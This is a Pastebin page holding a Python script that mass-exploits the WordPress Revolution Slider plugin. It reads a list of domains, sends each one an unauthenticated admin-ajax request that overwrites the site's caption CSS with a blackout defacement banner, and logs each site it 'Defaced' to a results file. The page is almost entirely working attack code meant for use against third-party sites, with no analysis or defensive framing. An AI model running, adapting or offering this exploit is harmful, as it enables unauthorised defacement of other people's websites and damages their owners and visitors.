Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import urllib, urllib2, os, sys
- import cookielib
- os.system('cls' if os.name == "nt" else 'clear' )
- site = sys.argv[1]
- def main():
- dname = raw_input('test user name: ')
- ajax = cookielib.CookieJar()
- opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())
- ency = urllib.urlencode({'action': "revslider_ajax_action",
- 'client_action': "update_captions_css",
- 'data': "<body style='color: transparent;background-color: black'><center><h1><b style='color: white'>CSS Update Test "+dname+"<p style='color: transparent'>",
- })
- site_list = open(site, 'r')
- box = site_list.read().splitlines()
- for Url4 in box:
- try:
- url = "http://" + Url4 + "/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css"
- nox = urllib2.Request(url, ency)
- data = opener.open(nox).read()
- if 'succesfully' in data:
- ind = "[~] Defaced. =>> " + Url4
- print ind
- check = open('result.txt', 'a')
- check.write(Url4+"/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css")
- check.write("\n")
- check.close()
- else:
- print "Failed =>> " + Url4
- except:
- continue
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement